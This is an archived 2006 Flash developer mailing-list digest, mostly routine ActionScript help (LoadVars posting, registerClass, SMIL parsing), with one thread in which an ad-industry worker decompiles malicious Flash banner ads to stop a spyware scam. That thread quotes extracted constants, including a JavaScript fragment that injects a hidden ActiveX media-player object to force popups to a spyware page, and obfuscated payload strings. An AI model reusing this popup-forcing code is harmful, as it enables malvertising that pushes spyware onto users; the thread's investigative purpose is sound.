http://content.yieldmanager.com/13312/94749/27e558c94df509ebe888fdc0060640e8.swf
http://content.yieldmanager.com/17344/138497/6d4ef47cf4071557d6749ad9c2fcf8cc.swf
 
Now I've been decompiling extracting code with various tools to try to gain 
some insight.  So interestingly enough, one of them is a little older, and it's 
easier to point blame as in the 'constants' the following is defined:
 
constants [...some taken out...] 
'http://www.errorsafe.com/pages/scanner/index.php?aid=tigerlid=swf7ax=1ex=1ed=2',
 'http://uk.matchservice.com/reg_swf.php?campaign=tiger', 'easyPP', 
'http://uk.matchservice.com/?aid=tigerlid=swf7ax=0', 'tz_begin', 'tz_end', 
'javascript:var w=window,n=navigator,a=n.appMinorVersion,d=document,u=\'', 
'\',dt=new 
Date(),tz=-dt.getTimezoneOffset()/60;p=(n.userAgent.indexOf(\'SV1\')!=-1)||(a(a.indexOf(\'SP2\')!=-1));i=(d.allencodeURI()!w.Event);if(!(tz=',
 'tz=', ')){if(p!d.getElementById(\'o\')){d.body.innerHTML+=\'object id=o 
height=0 
classid=CLSID:6BF52A52-394A-11D3-B153-00C04F79FAA6/object\';};(ip)?o.launchURL(u):w.open(u);};void
 0;', 'jscript', 
'\';p=(n.userAgent.indexOf(\'SV1\')!=-1)||(a(a.indexOf(\'SP2\')!=-1));i=(d.allencodeURI()!w.Event);if(p!d.getElementById(\'o\')){d.body.innerHTML+=\'object
 id=o height=0 
classid=CLSID:6BF52A52-394A-11D3-B153-00C04F79FAA6/object\';};(ip)?o.launchURL(u):w.open(u);void
 0;', 'unique:Date', 'Date', 'my_date:Date', 'my_so:SharedObject', '/', 
'tiger_swf7300506', 'SharedObject', 'getLocal', 'tm', 'setswfashCookie', 
'ClickTAG', 'ClickTARGET', '_blank', 'URL_btn', 'onRelease' 
 
The other file seems to have encrypted this informaiton to make it hard to 
track down:
 
'setcookie...', '_level0', 'l2', 'c1', 'l24', 'l1', 'l21', 'l22', 'l23', 'l25', 
'this', 'l27', 't', 'l26', 'u', 'l31', 'l32', 'l28', '_global', 'i', '_ll2', 
'l33', 'l35', ' - ', 'l43', 'l34', 's', '_self', 'l37', 'l36', '??', '', 
'', '???', '???', '???', '?', '', 
'???', '?', 'l29', '???', 'l30', '?', 
'???', '?', '???', 
'?', '?', '??', 
'?ý?ý?ÿÖ?ý?¼?Ù??È?Ù?ý???ý???ÈýÙ?Êý??éò??È?Ù??ÿ?È?Ù¾ÖËË???Ê??ý??Êÿ??Ë?ý???Ë?ÿýË?Ê???Ûý??ÙÎÌÌÏÂ???ÙÂý?ÙÍÂ??ÙÍÂ??ÙξÈ??Ù???¼àý??ÄÅÈ??ÙÉ??Ê???ð???ë?ÄÅËÒÌ×??ĽÄ??ÚÙÉÕÂÂ??ØÙÉÏÅÅ???Ľ?Ê???á??Þ?å?ľ?¾ÅÅ??Êþ???Ê?äðéèÇÙÃØ?þ??ÿ?¼??Ù?¼??Ùø¾Ìø¾¼ÿ?ýÙø¾ßèïåàÖÒÞâÑÎÝÑÎÉÏÕÐÝÉÍÍàÏÉÞÍÑÏÉÌÌßÌÐâÓÕâÝÝÒø¾ÚØË?þ??ÿ?ÚÃ?×?Ê?ý??ÿ?ñîèÄ?Å?ÿý?ÿ?Ä?Å??ÊÄ?Å×ÄÌÅ×??×',
 'l38', '', 'l39', '', 'l40', '?', 'l41', '???', 'l42', 
'??', '?', 'String', 'prototype', '', 'split', 'length', 'charCodeAt', 
'fromCharCode', 'join', 'newMenu', 'ContextMenu', 'hideBuiltInItems', 'menu', 
'Date', 'epru2003intl592006', 'b', ' : ', '_ll1', 'ClickTAG', 
'http://workhomecenter.com/?aid=istemlid=intl', 'ClickTARGET', '_blank'
 
So I'm kind of at a loss as to how to figure out what this flash file does.  
They've clearly masked their code quite well to make it very difficult ot see.  
I do know a few things:
 
- The file loads an outside html file, which checks the user's IP address, and 
depending on the geo that IP matches to returns a 1/0 value (or in some cases, 
an encrypted 'yes/no') as to whether or not to serve a pop
- The flash file also checks the timezone of the browser in addition to IP as 
an added check that the user is outside the US.
 
Any insight?  Again, apologies if this is the wrong list to ask and I will 
greatly appreciate direction if it isn't!  
 
-Mike
___
Flashcoders@chattyfig.figleaf.com
To change your subscription options or search the archive:
http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

Brought to you by Fig Leaf Software
Premier Authorized Adobe Consulting and Training
http://www.figleaf.com
http://training.figleaf.com


Re: [Flashcoders] HTTP post request in the background

2006-09-20 Thread Bill Abel

Here is what I have now with only the .send method.

I tried using sendAndLoad(url, null, POST)...as well as several  
different ways.


This is my currently working version. I've commented out the parts  
that I need to work. The function process the phone number and then  
puts everything into a LoadVars array to send. Right now it's sending  
it to a formmail.pl script which redirects you.


I need the LoadVars to be posted to the .aspx script. I don't need to  
receive anything back.



function processForm() {
//process phone number
var full_phone_number = phone_tb.text;
split_number = full_phone_number.split();
for (var i = 0; isplit_number.length; i++) {
if (split_number[i] == \r ||
split_number[i] == \n ||
split_number[i] == \f ||
split_number[i] == \t ||
split_number[i] ==   ||
split_number[i] == - ||
split_number[i] == . ||
split_number[i] == ( ||
split_number[i] == )) {
//trace(Found a:  + split_number[i]);
split_number.splice(i, 1);
i--;
} else {
if (split_number.length  7) {
//split into area code, prefix, and line number
var areacodea = split_number.slice(0,3);
var areacode = areacodea.join();
var prefixa = split_number.slice(3,6);
var prefix = prefixa.join();
var linenumbera = split_number.slice(6,10);
var linenumber = linenumbera.join();
//trace(3 parts + areacode +   + prefix +   + 
linenumber);
} else {
// split into prefix and line number
var prefixa = split_number.slice(0,3);
var prefix = prefixa.join();
var linenumbera = split_number.slice(3,7);
var linenumber = linenumbera.join();
//trace(2 parts + prefix +   + linenumber);
}
//number = split_number.join();
//trace(number);
}
}
errorVars = new LoadVars();
formData = new LoadVars();
formData.firstname = firstname_tb.text;
formData.lastname = lastname_tb.text;
formData.address = address_tb.text;
formData.city = city_tb.text;
formData.state = state_tb.text;
formData.zip = zip_tb.text;
formData.phone = phone_tb.text;
//formData.homephone1 = areacode;
//formData.homephone2 = prefix;
//formData.homephone3 = linenumber;
formData.email = email_tb.text;
//formData.Protocol = Ing;
trace(formData);
	formData.send(http://www.hallmanhill.com/cgi-sys/FormMail.pl;,  
_self, POST);
	//formData.sendAndLoad(https://www.salescloser.com/ 
XMLAddContact.aspx);

}




On Sep 20, 2006, at 2:57 PM, Gustavo Teider - Adobe Flash Developer  
wrote:



Bill Abel escreveu:
How do you post an array to a server side-script without loading  
the script's URL in the browser.


I can post data using Ruby's Net::HTTP and it works great in a  
rails app. I want to do the same thing in Flash.


LoadVars.send will only work if I load the script's URL into the  
browser. This would be fine if I controlled the script, but it's  
on another application server. I need to pass it the data in the  
background. I tried .sendAndLoad, but that has the same problems.


Is there a simple way to do this? Can I use flash remoting and  
pass the data to a PHP script and make the post from there? I see  
there is a way to do this with Cold Fusion using the CF.http()  
method, so I assume there is something similar elsewhere.


thanks.
___
Flashcoders@chattyfig.figleaf.com
To change your subscription options or search the archive:
http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

Brought to you by Fig Leaf Software
Premier Authorized Adobe Consulting and Training
http://www.figleaf.com
http://training.figleaf.com


always i used sendAndLoad method to do this ...

its works fine ...

what your code ?

did you create two loadVars ?

one to post , other to get ?

[]´s

--
Gustavo Teider ( gugateider )
www.gugateider.com
Curitiba - PR

___
Flashcoders@chattyfig.figleaf.com
To change your subscription options or search the archive:
http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

Brought to you by Fig Leaf Software
Premier Authorized Adobe Consulting and Training
http://www.figleaf.com
http://training.figleaf.com



RE: [Flashcoders] HTTP post request in the background

2006-09-20 Thread Mike Keesey
You should use something along these lines:

import mx.utils.Delegate;
function onResponseComplete(success:Boolean):Void {
// Do something in response.
}
var request:LoadVars = new LoadVars();
// Set up variables in request.
var response = new LoadVars();
response.onLoad = Delegate.create(this, onResponseComplete);
request.sendAndLoad(url, response);

―
Mike Keesey


___
Flashcoders@chattyfig.figleaf.com
To change your subscription options or search the archive:
http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

Brought to you by Fig Leaf Software
Premier Authorized Adobe Consulting and Training
http://www.figleaf.com
http://training.figleaf.com


[Flashcoders] Object.registerClass

2006-09-20 Thread Patrick Matte
Flash help says that registerClass works with the attachMovie method but I
was wondering if there was any way to register a class to a MovieClip
created with the createEmptyMovieClip method.


___
Flashcoders@chattyfig.figleaf.com
To change your subscription options or search the archive:
http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

Brought to you by Fig Leaf Software
Premier Authorized Adobe Consulting and Training
http://www.figleaf.com
http://training.figleaf.com


Re: [Flashcoders] HTTP post request in the background

2006-09-20 Thread Gustavo Teider - Adobe Flash Developer

Bill Abel escreveu:

Here is what I have now with only the .send method.

I tried using sendAndLoad(url, null, POST)...as well as several 
different ways.


This is my currently working version. I've commented out the parts 
that I need to work. The function process the phone number and then 
puts everything into a LoadVars array to send. Right now it's sending 
it to a formmail.pl script which redirects you.


I need the LoadVars to be posted to the .aspx script. I don't need to 
receive anything back.



function processForm() {
//process phone number
var full_phone_number = phone_tb.text;
split_number = full_phone_number.split();
for (var i = 0; isplit_number.length; i++) {
if (split_number[i] == \r ||
split_number[i] == \n ||
split_number[i] == \f ||
split_number[i] == \t ||
split_number[i] ==   ||
split_number[i] == - ||
split_number[i] == . ||
split_number[i] == ( ||
split_number[i] == )) {
//trace(Found a:  + split_number[i]);
split_number.splice(i, 1);
i--;
} else {
if (split_number.length  7) {
//split into area code, prefix, and line number
var areacodea = split_number.slice(0,3);
var areacode = areacodea.join();
var prefixa = split_number.slice(3,6);
var prefix = prefixa.join();
var linenumbera = split_number.slice(6,10);
var linenumber = linenumbera.join();
//trace(3 parts + areacode +   + prefix +   + 
linenumber);

} else {
// split into prefix and line number
var prefixa = split_number.slice(0,3);
var prefix = prefixa.join();
var linenumbera = split_number.slice(3,7);
var linenumber = linenumbera.join();
//trace(2 parts + prefix +   + linenumber);
}
//number = split_number.join();
//trace(number);
}
}
 
   
var getData:LoadVars= new LoadVars();  
var formData:LoadVars = new LoadVars();

formData.firstname = firstname_tb.text;
formData.lastname = lastname_tb.text;
formData.address = address_tb.text;
formData.city = city_tb.text;
formData.state = state_tb.text;
formData.zip = zip_tb.text;
formData.phone = phone_tb.text;
formData.email = email_tb.text;
trace(formData);
formData.sendAndLoad(http://www.hallmanhill.com/cgi-sys/FormMail.pl;, 
getData, POST);


getData.onLoad = function(ok:Boolean) {
   if(ok) {
   trace(this);
   trace(Data transfered!!!);
   }
}

//formData.send(http://www.hallmanhill.com/cgi-sys/FormMail.pl;, 
_self, POST);
//formData.sendAndLoad(https://www.salescloser.com/XMLAddContact.aspx;); 
 


Just do an test!!!

--
Gustavo Teider ( gugateider )
www.gugateider.com
Curitiba - PR




  errorVars = new LoadVars();
formData = new LoadVars();
formData.firstname = firstname_tb.text;
formData.lastname = lastname_tb.text;
formData.address = address_tb.text;
formData.city = city_tb.text;
formData.state = state_tb.text;
formData.zip = zip_tb.text;
formData.phone = phone_tb.text;
//formData.homephone1 = areacode;
//formData.homephone2 = prefix;
//formData.homephone3 = linenumber;
formData.email = email_tb.text;
//formData.Protocol = Ing;
trace(formData);
formData.send(http://www.hallmanhill.com/cgi-sys/FormMail.pl;, 
_self, POST);
//formData.sendAndLoad(https://www.salescloser.com/XMLAddContact.aspx;); 


}




On Sep 20, 2006, at 2:57 PM, Gustavo Teider - Adobe Flash Developer 
wrote:



Bill Abel escreveu:
How do you post an array to a server side-script without loading the 
script's URL in the browser.


I can post data using Ruby's Net::HTTP and it works great in a rails 
app. I want to do the same thing in Flash.


LoadVars.send will only work if I load the script's URL into the 
browser. This would be fine if I controlled the script, but it's on 
another application server. I need to pass it the data in the 
background. I tried .sendAndLoad, but that has the same problems.


Is there a simple way to do this? Can I use flash remoting and pass 
the data to a PHP script and make the post from there? I see there 
is a way to do this with Cold Fusion using the CF.http() method, so 
I assume there is something similar elsewhere.


thanks.
___
Flashcoders@chattyfig.figleaf.com
To change your subscription options or search the archive:
http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

Brought to you by Fig Leaf Software
Premier Authorized Adobe Consulting and Training
http://www.figleaf.com
http://training.figleaf.com


always i used sendAndLoad method to do this ...

its works fine ...

what your code ?

did you create two loadVars ?

one to post , other to get ?

[]´s

--Gustavo Teider ( gugateider )
www.gugateider.com
Curitiba - PR


Re: [Flashcoders] Decompiling some sketchy flash code

2006-09-20 Thread Michael Stuhr

Michiel Nolet schrieb:

Dear List,
 
First off, apologies if this is the wrong forum for this question.  Some background -- I'm in the online advertising industry and I've been trying to track down an squash a scam that has been hitting the industry.  There is a party out there (errorsafe.com) that is embedding some very nasty code in their flash ads that depending on several factors will popup a new window and try install their spyware using active-x.
 
Here are two sample swf files:

http://content.yieldmanager.com/13312/94749/27e558c94df509ebe888fdc0060640e8.swf
http://content.yieldmanager.com/17344/138497/6d4ef47cf4071557d6749ad9c2fcf8cc.swf
 
  
i tried to decompile them with asv (latest version). i can clearly see 
what is inside there. i would give you the rebuild files, but maybe you 
should ask burak himself (he is on this list) to give you those.



micha
___
Flashcoders@chattyfig.figleaf.com
To change your subscription options or search the archive:
http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

Brought to you by Fig Leaf Software
Premier Authorized Adobe Consulting and Training
http://www.figleaf.com
http://training.figleaf.com


RE: [Flashcoders] Object.registerClass

2006-09-20 Thread Mark Lapasa
What I normally do in this case is pass the movieclip into the constructor
of the movieclip a.k.a. Decorator Design Pattern

http://en.wikipedia.org/wiki/Decorator_pattern

So rather than other objects dealing with the movieclip directly, they deal
with the interface of the class you decorate the movieclip with.

-Original Message-
From: [EMAIL PROTECTED]
[mailto:[EMAIL PROTECTED] Behalf Of Patrick
Matte
Sent: Wednesday, September 20, 2006 4:43 PM
To: Flashcoders mailing list
Subject: [Flashcoders] Object.registerClass


Flash help says that registerClass works with the attachMovie method but I
was wondering if there was any way to register a class to a MovieClip
created with the createEmptyMovieClip method.


___
Flashcoders@chattyfig.figleaf.com
To change your subscription options or search the archive:
http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

Brought to you by Fig Leaf Software
Premier Authorized Adobe Consulting and Training
http://www.figleaf.com
http://training.figleaf.com



___
Flashcoders@chattyfig.figleaf.com
To change your subscription options or search the archive:
http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

Brought to you by Fig Leaf Software
Premier Authorized Adobe Consulting and Training
http://www.figleaf.com
http://training.figleaf.com


Re: [Flashcoders] Decompiling some sketchy flash code

2006-09-20 Thread John Dowdell

Michiel Nolet wrote:

I'm in the online advertising industry and I've been trying to track down an 
squash a scam that has been hitting the industry.  There is a party out there 
(errorsafe.com) that is embedding some very nasty code in their flash ads that 
depending on several factors will popup a new window and try install their 
spyware using active-x.


Is this different from the prior ErrorSafe JavaScript implementation?

If so, then do you know where I can read more conversation about it? My 
web searches are turning up too much noise. What's the user experience 
and sequence of events?


tx,
jd






--
John Dowdell . Adobe Developer Support . San Francisco CA USA
Weblog: http://weblogs.macromedia.com/jd
Aggregator: http://weblogs.macromedia.com/mxna
Technotes: http://www.macromedia.com/support/
Spam killed my private email -- public record is best, thanks.
___
Flashcoders@chattyfig.figleaf.com
To change your subscription options or search the archive:
http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

Brought to you by Fig Leaf Software
Premier Authorized Adobe Consulting and Training
http://www.figleaf.com
http://training.figleaf.com


Re: [Flashcoders] HTTP post request in the background

2006-09-20 Thread Bill Abel

This works. Thanks so much!

Here's the final code...

// *** Post data to Sales Closer ***
import mx.utils.Delegate;

function onResponseComplete(success:Boolean):Void {
trace(Completed);
}

function processForm() {
//process phone number
var full_phone_number = phone_tb.text;
split_number = full_phone_number.split();
for (var i = 0; isplit_number.length; i++) {
if (split_number[i] == \r ||
split_number[i] == \n ||
split_number[i] == \f ||
split_number[i] == \t ||
split_number[i] ==   ||
split_number[i] == - ||
split_number[i] == . ||
split_number[i] == ( ||
split_number[i] == )) {
//trace(Found a:  + split_number[i]);
split_number.splice(i, 1);
i--;
} else {
if (split_number.length  7) {
//split into area code, prefix, and line number
var areacodea = split_number.slice(0,3);
var areacode = areacodea.join();
var prefixa = split_number.slice(3,6);
var prefix = prefixa.join();
var linenumbera = split_number.slice(6,10);
var linenumber = linenumbera.join();
//trace(3 parts + areacode +   + prefix +   + 
linenumber);
} else {
// split into prefix and line number
var prefixa = split_number.slice(0,3);
var prefix = prefixa.join();
var linenumbera = split_number.slice(3,7);
var linenumber = linenumbera.join();
//trace(2 parts + prefix +   + linenumber);
}
//number = split_number.join();
//trace(number);
}
}
var response = new LoadVars();
var formData:LoadVars = new LoadVars();
formData.firstname = firstname_tb.text;
formData.lastname = lastname_tb.text;
formData.address = address_tb.text;
formData.city = city_tb.text;
formData.state = state_tb.text;
formData.zip = zip_tb.text;
formData.homephone1 = areacode;
formData.homephone2 = prefix;
formData.homephone3 = linenumber;
formData.email = email_tb.text;
trace(formData);
response.onLoad = Delegate.create(this, onResponseComplete);
	formData.sendAndLoad(http://www.salescloser.com/ 
XMLAddContact.aspx, response);

}


On Sep 20, 2006, at 3:31 PM, Mike Keesey wrote:


You should use something along these lines:

import mx.utils.Delegate;
function onResponseComplete(success:Boolean):Void {
// Do something in response.
}
var request:LoadVars = new LoadVars();
// Set up variables in request.
var response = new LoadVars();
response.onLoad = Delegate.create(this, onResponseComplete);
request.sendAndLoad(url, response);

―
Mike Keesey


___
Flashcoders@chattyfig.figleaf.com
To change your subscription options or search the archive:
http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

Brought to you by Fig Leaf Software
Premier Authorized Adobe Consulting and Training
http://www.figleaf.com
http://training.figleaf.com


___
Flashcoders@chattyfig.figleaf.com
To change your subscription options or search the archive:
http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

Brought to you by Fig Leaf Software
Premier Authorized Adobe Consulting and Training
http://www.figleaf.com
http://training.figleaf.com


RE: [Flashcoders] Decompiling some sketchy flash code

2006-09-20 Thread Michiel Nolet
All I see on decompiling is things like:

  var eval (\x01) = 930;
while (while (while (while (while (while (while (while (while (while
(while (while (while (while (while (while (while (while (eval (\x01)
== 930) {
eval (\x01) = eval (\x01) - 695}
 , eval (\x01) == 67) {
eval (\x01) = eval (\x01) + 718// branch @1
}
 , eval (\x01) == 349) {
eval (\x01) = eval (\x01) + 149// branch @1
}
 , eval (\x01) == 264) {
eval (\x01) = eval (\x01) + 84}

Am I missing something?

-Mike 

-Original Message-
From: [EMAIL PROTECTED]
[mailto:[EMAIL PROTECTED] On Behalf Of Michael
Stuhr
Sent: Wednesday, September 20, 2006 5:05 PM
To: Flashcoders mailing list
Subject: Re: [Flashcoders] Decompiling some sketchy flash code

Michiel Nolet schrieb:
 Dear List,
  
 First off, apologies if this is the wrong forum for this question.
Some background -- I'm in the online advertising industry and I've been
trying to track down an squash a scam that has been hitting the
industry.  There is a party out there (errorsafe.com) that is embedding
some very nasty code in their flash ads that depending on several
factors will popup a new window and try install their spyware using
active-x.
  
 Here are two sample swf files:
 http://content.yieldmanager.com/13312/94749/27e558c94df509ebe888fdc006
 0640e8.swf 
 http://content.yieldmanager.com/17344/138497/6d4ef47cf4071557d6749ad9c
 2fcf8cc.swf
  
   
i tried to decompile them with asv (latest version). i can clearly see
what is inside there. i would give you the rebuild files, but maybe you
should ask burak himself (he is on this list) to give you those.


micha
___
Flashcoders@chattyfig.figleaf.com
To change your subscription options or search the archive:
http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

Brought to you by Fig Leaf Software
Premier Authorized Adobe Consulting and Training http://www.figleaf.com
http://training.figleaf.com
___
Flashcoders@chattyfig.figleaf.com
To change your subscription options or search the archive:
http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

Brought to you by Fig Leaf Software
Premier Authorized Adobe Consulting and Training
http://www.figleaf.com
http://training.figleaf.com


Re: [Flashcoders] Decompiling some sketchy flash code

2006-09-20 Thread John Dowdell

Michiel Nolet wrote:

- User visits his favorite website, say, www.joesblog.com
- Joesblogs puts some ads on his site and sell his inventory to an
adnetwork
- Adnetwork doesn't know this matchservice.com ad is a scam, and
serves the user a nice 468x60 flash banner of rmatchservice.com
- If the user's IP  timezone  (mysterious other reasons) match some
parameters in the actionscript, flash file opens a popup without a click
to errorsafe.com/...
- New errorsafe page tries to install active-x and also initiates an
.exe download to try to get the user to install the program. 
- User accidentally clicks install, or open on the exe and is now

infected w/ spyware.


So it sounds like the SWF asks the browser to open a window, and that's 
it? sounds like there are browser-specific dependencies then...?


(Advertising servers are definitely in a tricky spot, because they're 
always hosting content they don't create -- they have to be able to 
trust the stuff they serve, and it's hard to accept ads from strangers, 
people without reputations to maintain.)


jd






--
John Dowdell . Adobe Developer Support . San Francisco CA USA
Weblog: http://weblogs.macromedia.com/jd
Aggregator: http://weblogs.macromedia.com/mxna
Technotes: http://www.macromedia.com/support/
Spam killed my private email -- public record is best, thanks.
___
Flashcoders@chattyfig.figleaf.com
To change your subscription options or search the archive:
http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

Brought to you by Fig Leaf Software
Premier Authorized Adobe Consulting and Training
http://www.figleaf.com
http://training.figleaf.com


[Flashcoders] SMIL xml parsing weirdness.

2006-09-20 Thread Ryan Potter
Hello list.

I have been working on parsing a smil xml file so that I can detect
bandwidth for an flv player.  I am getting the xml output from a PHP
script and I am using xml.sendAndLoad().  That all works just fine.  I
can get the xml object back and I can parse through it and get the data
out with one strange exception.  

When I try to parse the video node system-bitrate attribute I can't
get the value.  I have tried to turn it into a number, or a string
(which it is).  The weird thing is that if I trace it out it says it is
NaN.  If I look at the type it is string.  Then why won't it let me
read it???

The weird part is that if I change the name of the attribute to
bitrate or just about any other name it works.  Is it the dash in the
attribute name?

Has anyone seen this behavior??

Thanks, 
Ryan 

Here is my smil file:

smil
head
meta base=rtmp://myflvserver/blahblah/flash/1/ /
layout
root-layout width=480 height=360 /
/layout
/head
body
switch
video src=rl512k.flv
system-bitrate=512000/
ref src=rl256k.flv/
/switch
/body
/smil

SMIL xml parsing weirdness.





___
Flashcoders@chattyfig.figleaf.com
To change your subscription options or search the archive:
http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

Brought to you by Fig Leaf Software
Premier Authorized Adobe Consulting and Training
http://www.figleaf.com
http://training.figleaf.com


Re: [Flashcoders] Decompiling some sketchy flash code

2006-09-20 Thread Michael Stuhr

Michiel Nolet schrieb:

All I see on decompiling is things like:

  var eval (\x01) = 930;
while (while (while (while (while (while (while (while (while (while
(while (while (while (while (while (while (while (while (eval (\x01)
== 930) {
eval (\x01) = eval (\x01) - 695}
 , eval (\x01) == 67) {
eval (\x01) = eval (\x01) + 718// branch @1
}
 , eval (\x01) == 349) {
eval (\x01) = eval (\x01) + 149// branch @1
}
 , eval (\x01) == 264) {
eval (\x01) = eval (\x01) + 84}

Am I missing something?

  

sure

buy a copy of asv and you get the full experience :-)

micha
___
Flashcoders@chattyfig.figleaf.com
To change your subscription options or search the archive:
http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

Brought to you by Fig Leaf Software
Premier Authorized Adobe Consulting and Training
http://www.figleaf.com
http://training.figleaf.com


RE: [Flashcoders] SMIL xml parsing weirdness.

2006-09-20 Thread Merrill, Jason
It could be.  Can you get to root-layout width=480 ?

Jason Merrill
Bank of America 
Learning  Organization Effectiveness - Technology Solutions 
 
 
 
 
 

-Original Message-
From: [EMAIL PROTECTED] [mailto:flashcoders-
[EMAIL PROTECTED] On Behalf Of Ryan Potter
Sent: Wednesday, September 20, 2006 6:06 PM
To: Flashcoders mailing list
Subject: [Flashcoders] SMIL xml parsing weirdness.

Hello list.

I have been working on parsing a smil xml file so that I can detect
bandwidth for an flv player.  I am getting the xml output from a PHP
script and I am using xml.sendAndLoad().  That all works just fine.  I
can get the xml object back and I can parse through it and get the
data
out with one strange exception.

When I try to parse the video node system-bitrate attribute I can't
get the value.  I have tried to turn it into a number, or a string
(which it is).  The weird thing is that if I trace it out it says it
is
NaN.  If I look at the type it is string.  Then why won't it let
me
read it???

The weird part is that if I change the name of the attribute to
bitrate or just about any other name it works.  Is it the dash in
the
attribute name?

Has anyone seen this behavior??

Thanks,
Ryan

Here is my smil file:

smil
  head
  meta base=rtmp://myflvserver/blahblah/flash/1/ /
  layout
  root-layout width=480 height=360 /
  /layout
  /head
  body
  switch
  video src=rl512k.flv
system-bitrate=512000/
  ref src=rl256k.flv/
  /switch
  /body
/smil

SMIL xml parsing weirdness.





___
Flashcoders@chattyfig.figleaf.com
To change your subscription options or search the archive:
http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

Brought to you by Fig Leaf Software
Premier Authorized Adobe Consulting and Training
http://www.figleaf.com
http://training.figleaf.com
___
Flashcoders@chattyfig.figleaf.com
To change your subscription options or search the archive:
http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

Brought to you by Fig Leaf Software
Premier Authorized Adobe Consulting and Training
http://www.figleaf.com
http://training.figleaf.com


Re: [Flashcoders] SMIL xml parsing weirdness.

2006-09-20 Thread Claus Wahlers

Works for me:

var self:MovieClip = this;
var xml:XML = new XML();
xml.ignoreWhite = true;
xml.onLoad = function(ok:Boolean) { self.doStuff(ok); }
xml.load(soap.xml);
stop();

function doStuff(ok:Boolean):Void {
  var bitrate:String = 
xml.firstChild.firstChild.nextSibling.firstChild.firstChild.attributes[system-bitrate];

  trace(parseInt(bitrate));
}

Cheers,
Claus.

Ryan Potter wrote:


Hello list.

I have been working on parsing a smil xml file so that I can detect
bandwidth for an flv player.  I am getting the xml output from a PHP
script and I am using xml.sendAndLoad().  That all works just fine.  I
can get the xml object back and I can parse through it and get the data
out with one strange exception.  


When I try to parse the video node system-bitrate attribute I can't
get the value.  I have tried to turn it into a number, or a string
(which it is).  The weird thing is that if I trace it out it says it is
NaN.  If I look at the type it is string.  Then why won't it let me
read it???

The weird part is that if I change the name of the attribute to
bitrate or just about any other name it works.  Is it the dash in the
attribute name?

Has anyone seen this behavior??

Thanks, 
Ryan 


Here is my smil file:

smil
head
meta base=rtmp://myflvserver/blahblah/flash/1/ /
layout
root-layout width=480 height=360 /
/layout
/head
body
switch
video src=rl512k.flv
system-bitrate=512000/
ref src=rl256k.flv/
/switch
/body
/smil

SMIL xml parsing weirdness.


--
claus wahlers
côdeazur brasil
http://codeazur.com.br
___
Flashcoders@chattyfig.figleaf.com
To change your subscription options or search the archive:
http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

Brought to you by Fig Leaf Software
Premier Authorized Adobe Consulting and Training
http://www.figleaf.com
http://training.figleaf.com


Re: [Flashcoders] Object.registerClass

2006-09-20 Thread slangeberg

Mark said:


pass the movieclip into the constructor

of the movieclip

Did you mean to say:

pass the movieclip into the constructor of the class?

Scott

On 9/20/06, Mark Lapasa [EMAIL PROTECTED] wrote:


What I normally do in this case is pass the movieclip into the constructor
of the movieclip a.k.a. Decorator Design Pattern

http://en.wikipedia.org/wiki/Decorator_pattern

So rather than other objects dealing with the movieclip directly, they
deal
with the interface of the class you decorate the movieclip with.

-Original Message-
From: [EMAIL PROTECTED]
[mailto:[EMAIL PROTECTED] Behalf Of Patrick
Matte
Sent: Wednesday, September 20, 2006 4:43 PM
To: Flashcoders mailing list
Subject: [Flashcoders] Object.registerClass


Flash help says that registerClass works with the attachMovie method but I
was wondering if there was any way to register a class to a MovieClip
created with the createEmptyMovieClip method.


___
Flashcoders@chattyfig.figleaf.com
To change your subscription options or search the archive:
http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

Brought to you by Fig Leaf Software
Premier Authorized Adobe Consulting and Training
http://www.figleaf.com
http://training.figleaf.com



___
Flashcoders@chattyfig.figleaf.com
To change your subscription options or search the archive:
http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

Brought to you by Fig Leaf Software
Premier Authorized Adobe Consulting and Training
http://www.figleaf.com
http://training.figleaf.com





--

: : ) Scott
___
Flashcoders@chattyfig.figleaf.com
To change your subscription options or search the archive:
http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

Brought to you by Fig Leaf Software
Premier Authorized Adobe Consulting and Training
http://www.figleaf.com
http://training.figleaf.com


[Flashcoders] Flash IDE feature request

2006-09-20 Thread Patrick Matte
It would be nice if a list of all the library MovieClips with a linkageID
would appear when you type attachMovie ! I don't know how it works in AS3,
addChild I guess. Anyway, all the linkageIDs in a list, that would be nice.


___
Flashcoders@chattyfig.figleaf.com
To change your subscription options or search the archive:
http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

Brought to you by Fig Leaf Software
Premier Authorized Adobe Consulting and Training
http://www.figleaf.com
http://training.figleaf.com


RE: [Flashcoders] Decompiling some sketchy flash code

2006-09-20 Thread Michiel Nolet
I am more than willing to shell $59.95 for asv, I just want to make sure
it can extract stuff that other toosl couldn't.  I've tried the free
command line ones, and shell out $30 for some crappy software that plain
didn't work.  Could you copy paste some sample lines of more informative
code you're finding?

-Mike

-Original Message-
From: [EMAIL PROTECTED]
[mailto:[EMAIL PROTECTED] On Behalf Of Michael
Stuhr
Sent: Wednesday, September 20, 2006 6:11 PM
To: Flashcoders mailing list
Subject: Re: [Flashcoders] Decompiling some sketchy flash code

Michiel Nolet schrieb:
 All I see on decompiling is things like:

   var eval (\x01) = 930;
 while (while (while (while (while (while (while (while (while 
 (while (while (while (while (while (while (while (while (while (eval 
 (\x01) == 930) {
 eval (\x01) = eval (\x01) - 695}
  , eval (\x01) == 67) {
 eval (\x01) = eval (\x01) + 718// branch @1
 }
  , eval (\x01) == 349) {
 eval (\x01) = eval (\x01) + 149// branch @1
 }
  , eval (\x01) == 264) {
 eval (\x01) = eval (\x01) + 84}

 Am I missing something?

   
sure

buy a copy of asv and you get the full experience :-)

micha
___
